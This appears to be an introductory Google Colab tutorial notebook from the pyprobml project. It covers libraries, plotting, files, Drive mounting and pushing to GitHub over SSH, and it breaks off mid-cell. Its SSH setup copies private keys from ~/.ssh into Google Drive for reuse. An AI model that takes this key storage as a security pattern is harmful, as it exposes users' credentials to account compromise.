editor](https://colab.research.google.com/github/probml/pyprobml/blob/master/book1/supplements/colab_intro.ipynb#scrollTo=DdXlYCe1AlJa&line=7&uniqifier=1), so you can separate your code from the output of your code, as with other IDEs, such as [Jupyter lab](https://jupyterlab.readthedocs.io/en/stable/).\n# - it has various other useful features, such as collapsible sections (cf. code folding), and ways to specify parameters to your functions via [various GUI widgets](https://colab.research.google.com/notebooks/forms.ipynb) for use by non-programmers. (You can automatically execute  parameterized notebooks with different parameters using [papermill](https://papermill.readthedocs.io/en/latest/).)\n#\n# More details can be found in the [official introduction](https://colab.research.google.com/notebooks/intro.ipynb). Below we describe a few more tips and tricks, focusing on methods that I have found useful when developing the book. (More advanced tricks can be found in [this blog post](https://amitness.com/2020/06/google-colaboratory-tips/) and [this blog post](https://medium.com/@robertbracco1/configuring-google-colab-like-a-pro-d61c253f7573#4cf4).)\n#\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"ZjFsGQJ41k32\" outputId=\"ba36c760-3d87-4b96-ea62-0fe44d308d95\"\nIS_COLAB = ('google.colab' in str(get_ipython()))\nprint(IS_COLAB)\n\n\n# + id=\"B4KQOCig_xf1\"\n# Standard Python libraries\nfrom __future__ import absolute_import, division, print_function, unicode_literals\n\nimport os\nimport time\nimport glob\n\nfrom typing import Any, Callable, Dict, Iterator, Mapping, Optional, Sequence, Tuple\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n# + [markdown] id=\"8lAbDqny-vDq\"\n# # How to import and use standard libraries\n\n# + [markdown] id=\"XHO2_uKXMbD4\"\n# Colab comes with most of the packages we need pre-installed. \n# You can see them all using this command.\n#\n#\n#\n#\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"0C54AJx40vJq\" outputId=\"accb047b-6ac3-4e3c-97c5-6f3e1ccf7823\"\n# !pip list -v \n\n# + [markdown] id=\"U9PghW_NT1HY\"\n# To install a new package called 'foo', use the following (see [this page](https://colab.research.google.com/notebooks/snippets/importing_libraries.ipynb) for details):\n#\n# ```\n# # # !pip install foo\n# ```\n#\n#\n\n# + [markdown] id=\"fOBdg02-_Jws\"\n# ## Numpy\n\n# + id=\"AzP2LAtN_L1m\" colab={\"base_uri\": \"https://localhost:8080/\"} outputId=\"cbdc24bf-ea76-4192-c17d-a6d97c14f322\"\nimport numpy as np\nnp.set_printoptions(precision=3)\n\nA = np.random.randn(2,3)\nprint(A)\n\n# + [markdown] id=\"76jPgsuk_1IP\"\n# ## Pandas\n\n# + id=\"GimloDqo_4No\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 197} outputId=\"1ddca722-d652-4b44-c4e0-982c722dabeb\"\nimport pandas as pd\npd.set_option('precision', 2) # 2 decimal places\npd.set_option('display.max_rows', 20)\npd.set_option('display.max_columns', 30)\npd.set_option('display.width', 100) # wide windows\n\nurl = 'https://archive.ics.uci.edu/ml/machine-learning-databases/auto-mpg/auto-mpg.data'\ncolumn_names = ['MPG','Cylinders','Displacement','Horsepower','Weight',\n                'Acceleration', 'Year', 'Origin', 'Name']\ndf = pd.read_csv(url, names=column_names, sep='\\s+', na_values=\"?\")\n\ndf.head()\n\n# + [markdown] id=\"hUCC261x_7zZ\"\n# ## Sklearn\n\n# + id=\"RCSwx_lE_7Jn\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 285} outputId=\"4036c988-bb39-4ad4-d9af-f45bc6330231\"\nimport sklearn\n\nfrom sklearn.datasets import load_iris\niris = load_iris()\n# Extract numpy arrays\nX = iris.data \ny = iris.target\n\nimport matplotlib.pyplot as plt\nplt.scatter(X[:,0], X[:,1])\n\n# + [markdown] id=\"PJXF4csdBhsN\"\n# ## JAX\n\n# + id=\"8JiSxcJJ79Bv\" colab={\"base_uri\": \"https://localhost:8080/\"} outputId=\"97f3ebb7-93b8-4255-bccb-781d01ccb4cc\"\n# JAX (https://github.com/google/jax)\n\nimport jax\nimport jax.numpy as jnp\nA = jnp.zeros((3,3))\n\n# Check if JAX is using GPU\nprint(\"jax backend {}\".format(jax.lib.xla_bridge.get_backend().platform))\n\n# + [markdown] id=\"l99YLyorBdYE\"\n# ## Tensorflow\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"StpReaSICLUm\" outputId=\"5dfac104-8e5a-49cd-8400-eadb56650acd\"\n\nimport tensorflow as tf\nfrom tensorflow import keras\nassert tf.__version__ >= \"2.0\"\n\nprint(\"tf version {}\".format(tf.__version__))\nprint([d for d in tf.config.list_physical_devices()])\n\nif not tf.config.list_physical_devices('GPU'):\n    print(\"No GPU was detected. DNNs can be very slow without a GPU.\")\n    if IS_COLAB:\n        print(\"Go to Runtime > Change runtime and select a GPU hardware accelerator.\")\n\n# + [markdown] id=\"grUUK1GrBfIY\"\n# ## PyTorch\n\n# + id=\"Oi4Zmzla73A_\" colab={\"base_uri\": \"https://localhost:8080/\"} outputId=\"558ed73a-5dfe-491a-be1c-64c949283e48\"\n\nimport torch\nimport torchvision\nprint(\"torch version {}\".format(torch.__version__))\nif torch.cuda.is_available():\n    print(torch.cuda.get_device_name(0))\nelse:\n    print(\"Torch cannot find GPU\")\n\n# + [markdown] id=\"M4ayVFuc0FD9\"\n# # Plotting\n#\n# Colab has excellent support for plotting. We give some examples below.\n\n# + [markdown] id=\"ENCT0EqifCDO\"\n# ## Static plots\n#\n# Colab lets you make static plots using matplotlib, as shown below.\n# Note that plots are displayed inline by default, so\n# ```\n# # # %matplotlib inline\n# ```\n# is not needed.\n#\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 295} id=\"j_k4tv4D1VaC\" outputId=\"e1d38639-8a61-43dd-9c85-9091dc2d1f0d\"\nimport matplotlib.pyplot as plt\nplt.figure()\nplt.plot(range(10))\nplt.title('my plot')\nplt.xlabel('x axis')\nplt.savefig('myplot.png')\n\n# + [markdown] id=\"eUCPm29t6VZf\"\n# ## Seaborn\n#\n# Seaborn is a library that makes matplotlib results look prettier. We can also update font size for plots, to make them more suitable for inclusion in papers.\n\n# + id=\"1w9nRoF96cxy\"\nimport matplotlib.pyplot as plt\nimport seaborn\nimport seaborn as sns\nseaborn.set()\nseaborn.set_style(\"whitegrid\")\n\n# Font sizes\nSIZE_SMALL = 14\nSIZE_MEDIUM = 18\nSIZE_LARGE = 24\n\n# https://stackoverflow.com/a/39566040\nplt.rc('font', size=SIZE_SMALL)          # controls default text sizes\nplt.rc('axes', titlesize=SIZE_SMALL)     # fontsize of the axes title\nplt.rc('axes', labelsize=SIZE_SMALL)     # fontsize of the x and y labels\nplt.rc('xtick', labelsize=SIZE_SMALL)    # fontsize of the tick labels\nplt.rc('ytick', labelsize=SIZE_SMALL)    # fontsize of the tick labels\nplt.rc('legend', fontsize=SIZE_SMALL)    # legend fontsize  \nplt.rc('figure', titlesize=SIZE_LARGE)   # fontsize of the figure title\n\n\n# + id=\"LjXEXYe17I2t\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 307} outputId=\"a7e2ae2d-67d9-4270-f981-40700c6a9f06\"\nplt.figure()\nplt.plot(range(10))\nplt.title('my plot')\nplt.xlabel('x axis')\nplt.savefig('myplot.png')\n\n# + [markdown] id=\"iFwo8LA4fIh9\"\n# ## Interactive plots\n#\n# Colab also lets you create interactive plots using various javascript libraries - see [here](https://colab.research.google.com/notebooks/charts.ipynb#scrollTo=QSMmdrrVLZ-N) for details.\n#\n# Below we illustrate how to use the [bokeh library](https://docs.bokeh.org/en/latest/index.html) to create an interactive plot of a  pandas time series, where if you mouse over the plot, it shows the corresponding (x,y) coordinates. (Another option is [plotly](https://plotly.com/graphing-libraries/).)\n\n# + id=\"SiKRxZyo3Fa1\"\nimport pandas as pd\nimport numpy as np\nfrom bokeh.plotting import figure, show\nfrom bokeh.io import output_notebook\nfrom bokeh.models import ColumnDataSource, HoverTool\n\n# Call once to configure Bokeh to display plots inline in the notebook.\noutput_notebook()\n\n\n# + id=\"7_4CJ3mQhLNa\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 616} outputId=\"88eb0172-352f-46bd-8303-1baf898e0a79\"\n\n\n\nnp.random.seed(0)\ndates = pd.date_range(start='2018-04-24', end='2018-08-27')\nN = len(dates)\nvals = np.random.standard_t(1, size=N)\ndd = pd.DataFrame({'vals': vals, 'dates': dates}, index=dates)\ndd['days'] = dd.dates.dt.strftime(\"%Y-%m-%d\")\n\n\nsource = ColumnDataSource(dd)\nhover = HoverTool(tooltips=[(\"Date\", \"@days\"),\n                            (\"vals\", \"@vals\")],\n)\np = figure( x_axis_type=\"datetime\")\np.line(x='dates', y='vals', source=source)\np.add_tools(hover)\nshow(p)\n\n# + [markdown] id=\"nHGH3o_R28G9\"\n# We can also make plots that can you pan and zoom into.\n\n# + id=\"q1jy_cQl3AYc\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 616} outputId=\"ae8fc2f4-a7e5-48e9-f8f0-f9fd32331ded\"\nN = 4000\nnp.random.seed(0)\nx = np.random.random(size=N) * 100\ny = np.random.random(size=N) * 100\nradii = np.random.random(size=N) * 1.5\ncolors = [\"#%02x%02x%02x\" % (r, g, 150) for r, g in zip(np.floor(50+2*x).astype(int), np.floor(30+2*y).astype(int))]\n\np = figure()\np.circle(x, y, radius=radii, fill_color=colors, fill_alpha=0.6, line_color=None)\nshow(p)\n\n# + [markdown] id=\"FwIG5xw8ad8I\"\n# ## Viewing an image file\n#\n# You can either use PIL or OpenCV to display (and manipulate) images.\n# According to [this notebook](https://www.kaggle.com/vfdev5/pil-vs-opencv), OpenCV is faster, but for a small number of images, it doesn't really matter.\n\n# + id=\"AqitJZE1bAi8\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 514} outputId=\"6e8ebecb-c6ab-45c6-bb2b-782585a3d648\"\nfrom PIL import Image\nimport requests\nfrom io import BytesIO\n#url = \"https://github.com/probml/probml-notebooks/blob/master/images/cat_dog.jpg?raw=true\"\nurl = \"https://raw.githubusercontent.com/probml/probml-notebooks/main/images/cat_dog.jpg\"\n\nresponse = requests.get(url)\nimg = Image.open(BytesIO(response.content))\nprint(type(img))\ndisplay(img)\n\n# + id=\"t0EbaZr9bSZL\"\n# #!wget https://github.com/probml/probml-notebooks/blob/master/images/cat_dog.jpg?raw=true -q -O cat_dog.jpg\n# !wget https://raw.githubusercontent.com/probml/probml-notebooks/main/images/cat_dog.jpg -q -O cat_dog.jpg\n\n\n# + id=\"Hbb1T75kuaPG\" outputId=\"3c50ec45-c0a7-4268-be21-b6a90fa90467\" colab={\"base_uri\": \"https://localhost:8080/\"}\n# !ls -l\n\n# + id=\"64X5Xv_Kaf_Q\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 496} outputId=\"e6345129-8241-49fd-daa4-f9adf9c749f0\"\nfrom google.colab.patches import cv2_imshow\nimport cv2\n\ndef show_image(img_path,size=None,ratio=None):\n  img = cv2.imread(img_path, cv2.IMREAD_UNCHANGED)\n  cv2_imshow(img)\n\nshow_image('cat_dog.jpg')\n\n# + [markdown] id=\"y4_LLDBWGkE4\"\n# ## Visualizing arrays\n#\n# If you use imshow, be careful of aliasing which can occur for certain figure sizes.\n\n# + id=\"grpgCI4IG2pb\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 182} outputId=\"5455f0f5-7109-49c3-fa64-14bbbbd9b662\"\nnp.random.seed(0)\nfig, axs = plt.subplots(1,3,figsize=(8,8))\nfor t in range(3):\n  X = np.random.binomial(1, 0.5, (128, 128))\n  axs[t].imshow(X, cmap=\"Accent\")\n\n# + [markdown] id=\"kKo7IkOzHMRo\"\n# You can solve this by specifying `interpolation=nearest`:\n\n# + id=\"4aoE3HkuHQt-\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 182} outputId=\"93829355-ebb8-474a-a6ea-e61e18a8d437\"\nnp.random.seed(0)\nfig, axs = plt.subplots(1,3,figsize=(8,8))\nfor t in range(3):\n  X = np.random.binomial(1, 0.5, (128, 128))\n  axs[t].imshow(X, cmap=\"Accent\", interpolation='nearest')\n\n# + [markdown] id=\"K7MgGBEvHTlB\"\n# Alternatively, you can call `matshow`, which is an alias for imshow with `interpolation=nearest`:\n#\n\n# + id=\"M3nsqSA3HZxC\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 182} outputId=\"f7600549-b0f3-4fef-8c02-a276a8ea8274\"\nnp.random.seed(0)\nfig, axs = plt.subplots(1,3,figsize=(8,8))\nfor t in range(3):\n  X = np.random.binomial(1, 0.5, (128, 128))\n  axs[t].matshow(X, cmap=\"Accent\")\n\n# + [markdown] id=\"qLh3fxl63IHW\"\n# ## Graphviz\n#\n# You can use graphviz to layout nodes of a graph and draw the structure.\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"33v9WeNjfb2k\" outputId=\"2567027c-8c11-4517-94b8-3ae984b1d328\"\n# !apt-get -y install python-pydot\n# !apt-get -y install python-pydot-ng\n# !apt-get -y install graphviz\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 498} id=\"ZXTgGVkaffjf\" outputId=\"2037bb22-88c1-4013-cf8e-03c8ebe349d5\"\nfrom graphviz import Digraph\ndot = Digraph(comment='Bayes net')\nprint(dot)\ndot.node('C', 'Cloudy')\ndot.node('R', 'Rain')\ndot.node('S', 'Sprinkler')\ndot.node('W', 'Wet grass')\ndot.edge('C', 'R')\ndot.edge('C', 'S')\ndot.edge('R', 'W')\ndot.edge('S', 'W')\nprint(dot.source) \ndot.render('test-output/graph.jpg', view=True)\ndot\n\n# + [markdown] id=\"DaSY50JzpWnC\"\n# ## Progress bar\n#\n\n# + id=\"RNoYKY34Iqu6\" colab={\"base_uri\": \"https://localhost:8080/\"} outputId=\"07194dcd-35de-47b0-b7b4-8158f83631c0\"\nfrom tqdm import tqdm\nfor i in tqdm(range(20)):\n  x = np.random.randn(1000,1000)\n\n# + [markdown] id=\"lyWwltzKlAHS\"\n# # Filing system issues\n#\n#\n# Details here:\n# - https://colab.research.google.com/notebooks/io.ipynb\n# - https://neptune.ai/blog/google-colab-dealing-with-files\n#\n# Many other sources.\n\n# + [markdown] id=\"7aCgO-moU2WA\"\n# ## Accessing local files\n#\n# Clicking on the file folder icon on the left hand side of colab lets you browse local files. Right clicking on a filename lets you download it to your local machine. Double clicking on a file will open it in the file viewer/ editor, which appears on the right hand side. \n#\n# The result should look something like this:\n#\n# <img src=\"https://github.com/probml/pyprobml/blob/master/images/colab-file-editor.png?raw=true\">\n#\n#\n# You can also use standard unix commands to manipulate files, as we show below.\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"dRh4BOIxHpEX\" outputId=\"718b8efd-1988-4633-db29-6a414a350415\"\n# !pwd\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"T7i8bvaghwy7\" outputId=\"bb0012d2-bc82-4d5d-dfe3-acf2ba3e77a7\"\n# !ls\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"HDNijfMPjPsE\" outputId=\"d2bb4d90-86fc-44b2-9900-6050507e082b\"\n# !echo 'foo bar' > foo.txt\n# !cat foo.txt\n\n# + [markdown] id=\"5bnSVjwTr_bg\"\n# However, !cd does not work. You need to use the magic %cd.\n\n# + id=\"voUDbPTUsDI3\" colab={\"base_uri\": \"https://localhost:8080/\"} outputId=\"b8e3f19f-244a-407f-9fe7-94b64f60ef4b\"\n# !pwd\n# !mkdir dummy\n# %cd dummy\n# !ls\n# %cd ..\n\n# + [markdown] id=\"AhyYxQ8mrzev\"\n# To make a new (local) file in colab's editor, first create the file with the operating system, and then view it using colab.\n\n# + id=\"LtbGecLQrysw\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 17} outputId=\"17613167-0d6d-4f6e-b66f-129eb2552b6a\"\nfrom google.colab import files\nfile = 'bar.py'\n# !touch $file \nfiles.view(file)\n\n# + [markdown] id=\"PMet3XdcVF9O\"\n# If you make changes to a file containing code, the new version of the file will not be noticed unless you use the magic below.\n\n# + id=\"0ufY8AO1VEUh\"\n# %load_ext autoreload\n# %autoreload 2\n\n# + [markdown] id=\"6a6nkLsKWQpu\"\n# ## Syncing with Google drive\n#\n# Files that you generate in, or upload to, colab are ephemeral, since colab is a temporary environment with an idle timeout of 90 minutes and an absolute timeout of 12 hours (24 hours for Colab pro). To save any files permanently, you need to mount your google drive folder as we show below. (Executing this command will open a new window in your browser - you need cut and paste the password that is shown into the prompt box.)\n#\n#\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"cYZpcMiQkl15\" outputId=\"f4cf4b76-100a-428f-8c63-14aad3207235\"\nfrom google.colab import drive\ndrive.mount('/content/gdrive')\n# !pwd\n\n\n\n# + id=\"wycWRaVxPh5P\" colab={\"base_uri\": \"https://localhost:8080/\"} outputId=\"5571799c-360b-446f-9f70-375f7d14527b\"\nwith open('/content/gdrive/MyDrive/foo.txt', 'w') as f:\n  f.write('Hello Google Drive!')\n# !cat /content/gdrive/MyDrive/foo.txt\n\n# + [markdown] id=\"CeGz5P_RUyzG\"\n# To ensure that local changes are detected by colab, use this piece of magic.\n\n# + id=\"K6RR9dfoUyMG\"\n# %load_ext autoreload\n# %autoreload 2\n\n# + [markdown] id=\"_x4_RdSfh272\"\n# ## Uploading data to colab from your local machine\n\n# + id=\"IgQe1zgYh4hF\"\nfrom google.colab import files\n# GUI lets you select the file\n# the return value is a dict, mapping filename to bytes\nuploaded = files.upload()\n\n\n# + [markdown] id=\"2mUVyvAblY3v\"\n# ## Downloading data from colab to your local machine\n\n# + id=\"fwdVtkGqlblY\"\nfrom google.colab import files\nfiles.download('checkpoints/gan-mlp-mnist-epoch=02.ckpt')\n\n# + [markdown] id=\"bIqJtkFnlF8I\"\n# ## Loading data from the web into colab\n#\n# You can use [wget](https://www.pair.com/support/kb/paircloud-downloading-files-with-wget/) \n#\n#\n\n# + id=\"3oypH8Vclu86\"\n# !rm timemachine.*\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"H0dvvsUclgdu\" outputId=\"924597b5-451d-4eb3-d6dd-6e45763828dc\"\n\n# #!wget  https://github.com/probml/pyprobml/blob/master/data/timemachine.txt\n# #!wget  https://github.com/probml/pyprobml/blob/master/data/timemachine.txt\n# !wget https://raw.githubusercontent.com/probml/probml-data/main/data/timemachine.txt\n\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"kj3fMYuwlyNR\" outputId=\"f4a55c24-854b-4655-a48f-6284f10460a4\"\n# !head timemachine.txt\n\n# + id=\"ZawrQx644OyW\" outputId=\"dd6e15a0-71d0-4471-8fe0-06bf3248d144\" colab={\"base_uri\": \"https://localhost:8080/\"}\n\ndatadir = '.'\nimport re\nfname = os.path.join(datadir, 'timemachine.txt')\nwith open(fname, 'r') as f:\n    lines = f.readlines()\n    sentences = [re.sub('[^A-Za-z]+', ' ', st).lower().split()\n                   for st in lines]\nfor  i in range(5):\n  words = sentences[i]\n  print(words)\n\n# + [markdown] id=\"memojWlxuAyH\"\n# ## Loading code from the web into colab\n#\n# We can also download python code and run it locally.\n\n# + id=\"siXx1f8et98t\" colab={\"base_uri\": \"https://localhost:8080/\"} outputId=\"d0a115c5-3a81-4237-bf45-d1c8bd0d9d06\"\n# !wget -q https://raw.githubusercontent.com/probml/pyprobml/master/scripts/pyprobml_utils.py\n\nimport pyprobml_utils as pml\npml.test()\n\n# + [markdown] id=\"57S7dQXbPSh6\"\n# ## Viewing all your notebooks\n#\n# You can see the list of colab notebooks that you have saved as shown below.\n\n# + id=\"cTJGGK29PYM4\" colab={\"base_uri\": \"https://localhost:8080/\"} outputId=\"dbb73578-2dd8-4f3c-f270-4dfbdedb60ff\"\nimport re, pathlib, shutil\nfrom pathlib import PosixPath\n\n# Get a list of all your Notebooks\nnotebooks = [x for x in pathlib.Path(\"/content/gdrive/MyDrive/Colab Notebooks\").iterdir() if \n             re.search(r\"\\.ipynb\", x.name, flags = re.I)]\nprint(notebooks[:2])\n\n#n = PosixPath('/content/gdrive/MyDrive/Colab Notebooks/covid-open-data-paper.ipynb')\n\n# + [markdown] id=\"buZsxpmUS37n\"\n# # Working with github\n#\n# You can open any jupyter notebook stored in github in a colab by replacing\n# https://github.com/probml/.../intro.ipynb with https://colab.research.google.com/github/probml/.../intro.ipynb (see [this blog post](https://amitness.com/2020/06/google-colaboratory-tips/#6-open-notebooks-from-github).\n#\n# It is possible to download code (or data) from githib into a local directory on this virtual machine.  It is also possible to upload local files back to github, although that is more complex. See details below.\n\n# + [markdown] id=\"rVvGT6GUBg2Q\"\n# ## Cloning a repo from github\n#\n# You can clone a public github repo into your local colab VM, as we show below,\n# using the repo for this book as an example.\n# (To clone a private repo, you need to specify your password,\n# as explained [here](https://medium.com/@robertbracco1/configuring-google-colab-like-a-pro-d61c253f7573#6b70). Alternatively you can use the ssh method we describe below.)\n\n# + id=\"uVZWqzdW7_ZG\" colab={\"base_uri\": \"https://localhost:8080/\"} outputId=\"cbae2714-3da4-405e-93d6-32fe1d4bbf4e\"\n\n# !rm -rf pyprobml # Remove any old local directory to ensure fresh install\n# !git clone https://github.com/probml/pyprobml\n\n\n# + id=\"sL0CLHTm7HSH\" colab={\"base_uri\": \"https://localhost:8080/\"} outputId=\"d23ce0d0-3403-4bfd-e666-34f715da765a\"\n# !pwd\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"XdC34HzKT8L8\" outputId=\"49d5d474-7af0-4a4d-adb3-3a11b049f3e3\"\n# !ls\n\n# + [markdown] id=\"MNWWINngc5rn\"\n# We can run any script as shown below.\n# (Note we first have to define the environment variable for where the figures will be stored.)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 873} id=\"aYXkQP-DdApw\" outputId=\"50b98443-467b-4ab9-ee6c-773cc80530ab\"\nimport os\nos.environ['PYPROBML']='pyprobml'\n\n# %run pyprobml/scripts/activation_fun_plot.py\n\n# + id=\"qItn37RW7R3N\" colab={\"base_uri\": \"https://localhost:8080/\"} outputId=\"903c2f05-dafb-4db6-d5b9-9874a3b0cc1d\"\n# !ls pyprobml/figures\n\n# + [markdown] id=\"YTT5eJ_qUDFe\"\n# We can also import code, as we show below.\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"0jUdrHWLd95C\" outputId=\"a6ba93bc-118c-42e7-c894-34eeef80c95b\"\n# !ls\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"-NkBCWPdePFj\" outputId=\"b33684a4-cd62-46fb-ab15-ef650f12d5c2\"\n\nimport pyprobml.scripts.pyprobml_utils as pml\npml.test()\n\n# + [markdown] id=\"yaISmcnNmnS7\"\n# ## Pushing local files back to github\n#\n# You can easily save your entire colab notebook to github by choosing 'Save a copy in github' under the File menu in the top left. But if you want to save individual files (eg code that you edited in the colab file editor, or a bunch of images or data files you created), the process is more complex.\n#\n# There are two main methods. You can either specify your username and password every time, as explained [here](https://medium.com/@robertbracco1/configuring-google-colab-like-a-pro-d61c253f7573#6b70). Or you can authenticate via ssh. The latter is more secure, but more complex, as we explain below.\n#\n# You first need to do some setup to create SSH keys on your current colab VM (virtual machine), manually add the keys to your github account, and then copy the keys to your mounted google drive so you can reuse the same keys in the future. This only has to be done once.\n#\n# After setup, you can use the `git_ssh` function we define below to securely execute git commands. This works by copying your SSH keys from your google drive to the current colab VM, executing the git command, and then deleting the keys from the VM for safety. \n#\n\n# + [markdown] id=\"0gOzFmcKoUuO\"\n# ### Setup\n#\n# Follow these steps. (These instructions are text, not code, since they require user interaction.)\n#\n# ```\n# # # !ssh-keygen -t rsa -b 4096\n# # # !ssh-keyscan -t rsa github.com >> ~/.ssh/known_hosts\n# # # !cat /root/.ssh/id_rsa.pub\n# ```\n# The cat command will display your public key in the colab window.\n# Cut and paste this and manually add to your github account following [these instructions](https://github.com/settings/keys).\n#\n# Test it worked\n# ```\n# # # !ssh -T git@github.com\n# ```\n#\n# Finally, save the generated keys to your Google drive\n#\n# ```\n# from google.colab import drive\n# drive.mount('/content/drive')\n# # # !mkdir /content/drive/MyDrive/ssh/\n# # # !cp  -r  ~/.ssh/* /content/drive/MyDrive/ssh/\n# # # !ls /content/drive/MyDrive/ssh/\n# ```\n#\n\n# + [markdown] id=\"oSiVyBG1xm44\"\n# ### Test previous setup\n#\n# Let us check that we can see our SSH keys in our mounted google drive.\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"cCUxHiHAxcY2\" outputId=\"9555ac68-2dc8-4b9a-9049-b8174ddfbf4c\"\nfrom google.colab import drive\ndrive.mount('/content/drive')\n\n# !ls /content/drive/MyDrive/ssh/\n\n\n\n# + [markdown] id=\"C-lPchgDpD7t\"\n# ### Executing git commands from colab via SSH\n#\n# The following function lets you securely doing a git command via SSH.\n# It copies the keys from your google drive to the local VM, excecutes the command, then removes the keys.\n#\n#\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"ONJ0Ump4wEho\" outputId=\"ef47e2d3-18fd-4917-c9c5-77315c4fd0b6\"\n# !rm -rf pyprobml_utils.py # remove any old copies of this file\n# !wget https://raw.githubusercontent.com/probml/pyprobml/master/scripts/pyprobml_utils.py  \n\n# + id=\"FJ1_fCk_K9Mc\" colab={\"base_uri\": \"https://localhost:8080/\"} outputId=\"0bd007b2-09c0-4cb1-e295-6f734cf70252\"\nfrom google.colab import drive\ndrive.mount('/content/drive') # must do this before running git_ssh\nimport pyprobml_utils as pml # import script into namespace\n\n# + [markdown] id=\"umvOwzMfvpmU\"\n# Below we clone the pyprobml repo to this colab VM using out github credentials, so we can later check stuff back in. **This is just an example - you should edit the `reponame`, `username` and `email` variables.***\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"IbX9-PDpwlO0\" outputId=\"957ae2fd-cab7-4267-8f4d-9709d6554910\"\n\n\n# !rm -rf pyprobml # remove any old copies of this directory\n# #!git clone https://github.com/probml/pyprobml.git # clones using wrong credentials\npml.git_ssh(\"git clone https://github.com/probml/pyprobml.git\",\n            mail=\"murphyk@gmail.com\", username=\"probml\") # update to use your credentials\n\n\n\n# + id=\"ir4nBvPfLXwF\" colab={\"base_uri\": \"https://localhost:8080/\"} outputId=\"00fcd067-3f7f-4ee1-9c54-979b6d9722ce\"\n\nreponame = 'pyprobml'\nusername = 'probml'\nemail = 'murphyk@gmail.com' # update to use your credentials\n\n# !rm -rf $reponame # remove any old copies of this directory\ncmd = f\"git clone https://github.com/{username}/{reponame}.git\"\npml.git_ssh(cmd, email=email, username=username) \n\n\n\n# + [markdown] id=\"4-1ZQyFUMq9A\"\n# Let's check that we can see this repo in our local drive.\n\n# + id=\"gB5Lx38aMupR\" colab={\"base_uri\": \"https://localhost:8080/\"} outputId=\"9c26d870-64bd-4589-b4ec-2607815d8ee5\"\n# !pwd\n# !ls\n\n\n# + id=\"od3MymSWNHY6\" colab={\"base_uri\": \"https://localhost:8080/\"} outputId=\"02b156ec-c917-4955-bd77-f04177e94abd\"\n# !ls /content/$reponame/\n\n# + [markdown] id=\"ft_pJJ4ZTLdl\"\n# Now we create a dummy file inside our local copy of this repo, and push it back to the  github (public) version of the repo.\n#\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"3hfluZVYTSNd\" outputId=\"400a5892-fd9d-44ca-e67c-dfdb572a5c00\"\n\n# Make the dummy file in the scripts folder of repo\n# %cd /content/$reponame\n# !echo 'this is a test' > scripts/foo.txt\n\n# Add file to the external repo\ncmd = \"git add scripts; git commit -m 'push from colab'; git push\"\npml.git_ssh(cmd, email=email, username=username)\n\n\n# + [markdown] id=\"l8MHjRl5Ptoi\"\n# We can check that it worked by visiting [this page](https://github.com/probml/pyprobml/blob/master/scripts/foo.txt) on github (note the time stamp on the top right):\n#\n# <img src=\"https://github.com/probml/pyprobml/blob/master/images/github-colab-commit-foo.png?raw=true\" height=300>\n#\n\n# + [markdown] id=\"DAqqAhzzTS7F\"\n#\n# Finally we clean up our mess.\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"r16zYiNTu_Mz\" outputId=\"d10b7525-d203-4622-b0e5-6b7f1f894529\"\n\n# %cd /content/$reponame\ncmd = \"git rm scripts/foo*.txt; git commit -m 'colab cleanup'; git push\"\npml.git_ssh(cmd, email=email, username=username, verbose=True)\n# %cd /content\n\n# + [markdown] id=\"q-kRtmdm5d7X\"\n# # Software engineering tools\n#\n#  [Joel Grus has argued](https://docs.google.com/presentation/d/1n2RlMdmv1p25Xy5thJUhkKGvjtV-dkAIsUXP-AL4ffI/edit) that notebooks are bad for developing complex software, because they encourage creating monolithic notebooks instead of factoring out code into separate, well-tested files. \n#  \n# [Jeremy Howard has responded to Joel's critiques here](https://www.youtube.com/watch?v=9Q6sLbz37gk&feature=youtu.be). In particular, the FastAI organization has created [nbdev](https://github.com/fastai/nbdev) which has various tools that make notebooks more useful.\n#\n#\n\n# + [markdown] id=\"KoYhOfdLJOB5\"\n# ## Argparse\n#\n# Often code is designed to be run from the command line, and can be configured by passing in arguments and flags. To make this work in colab, you have to use `parse_known_args`, as in  the example below.\n#\n\n# + id=\"B-zBHHR0Ja-C\" colab={\"base_uri\": \"https://localhost:8080/\"} outputId=\"a20c460e-76ee-46eb-c840-bddcf4059921\"\ndef main(args):\n  print('my awesome function')\n  print(args.arg1)\n  print(args.arg2)\n\nimport argparse\nparser = argparse.ArgumentParser(description='My Demo')\nparser.add_argument(\"-arg1\", default=1, type=int,  help=\"An integer to print\")\nparser.add_argument(\"-arg2\", \"--argument2\", default=\"foo\", help=\"A string to print\")\nparser.add_argument(\"-f\", \"--flag\", action=\"store_true\", help=\"Just a flag\")\n\n#args = parser.parse_args() # error in colab\nargs, unused = parser.parse_known_args()\n\nprint(args)\nprint(unused)\n\n\n# + id=\"lJhFvBfpJvzX\" colab={\"base_uri\": 